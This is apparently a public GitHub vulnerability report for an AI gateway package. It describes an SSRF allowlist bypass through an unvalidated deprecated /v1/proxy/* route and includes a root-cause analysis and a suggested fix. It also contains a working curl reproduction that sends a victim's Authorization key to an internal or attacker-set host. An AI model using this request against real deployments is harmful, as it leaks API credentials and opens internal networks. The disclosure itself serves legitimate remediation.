#1718·gateway

SSRF allowlist bypass and credential theft via /v1/proxy/* route -- @portkey-ai/gateway <= 1.15.2

Author: geo-chenCreated Jul 3, 2026Updated Sep 13, 2026
Labelsbugtriage

What Happened?

reported via email on 1 June 2026 - no response.

I found a Server-Side Request Forgery vulnerability in the open-source AI Gateway that bypasses the SSRF fix you shipped in v1.14.0 for CVE-2025-66405. The bypass is possible because the deprecated POST /v1/proxy/* route does not include the requestValidator middleware that enforces the allowlist.

Root cause

src/index.ts registers:

app.post('/v1/proxy/', proxyHandler); // line 287 -- no requestValidator app.post('/v1/', requestValidator, proxyHandler); // line 290 -- protected

The x-portkey-custom-host allowlist (isValidCustomHost) lives entirely inside requestValidator. Sending any POST request to /v1/proxy/* bypasses all allowlist checks, and the gateway makes an outbound connection to whatever URL the header contains.

Impact

The attacker sets x-portkey-custom-host to an internal address (RFC-1918, 169.254.x.x, localhost) and x-portkey-provider to any valid provider name. The gateway forwards the full request body plus the Authorization header (the victim's API key) to the attacker-controlled or internal server. I live-validated this on a local Docker instance.

Evidence captured by internal server (gateway IP 172.18.0.3):

Connection received on portkey_gateway_test.portkey_test_net 38076 POST /v1/chat/completions HTTP/1.1 host: 172.18.0.2:9999 authorization: Bearer sk-VICTIM-KEY-abcdefghijklmnop content-type: application/json [... full request body ...]

The same request sent to /v1/chat/completions (protected) returns HTTP 400 "Invalid custom host" as expected.

Reproduction

curl -X POST http://gateway:8787/v1/proxy/v1/chat/completions
-H "Content-Type: application/json"
-H "x-portkey-provider: openai"
-H "Authorization: Bearer sk-VICTIM-KEY"
-H "x-portkey-custom-host: http://192.168.1.100:9999/"
-d '{"model":"gpt-4o","messages":[{"role":"user","content":"test"}]}'

Suggested fix

Add requestValidator to the /v1/proxy/* route registration, or remove the deprecated route entirely since /v1/* already covers the same traffic:

// Remove or change: app.post('/v1/proxy/*', proxyHandler);

// To: app.post('/v1/proxy/*', requestValidator, proxyHandler);

CVE-2025-66405 / GHSA-hhh5-2cvx-vmfp showed this exact class of bug. The fix in v1.14.0 added robust validation logic but did not apply it uniformly across all routes.

Affected version: @portkey-ai/gateway <= 1.15.2 (commit 669825c)

What Should Have Happened?

No response

Relevant Code Snippet

No response

Your Twitter/LinkedIn

No response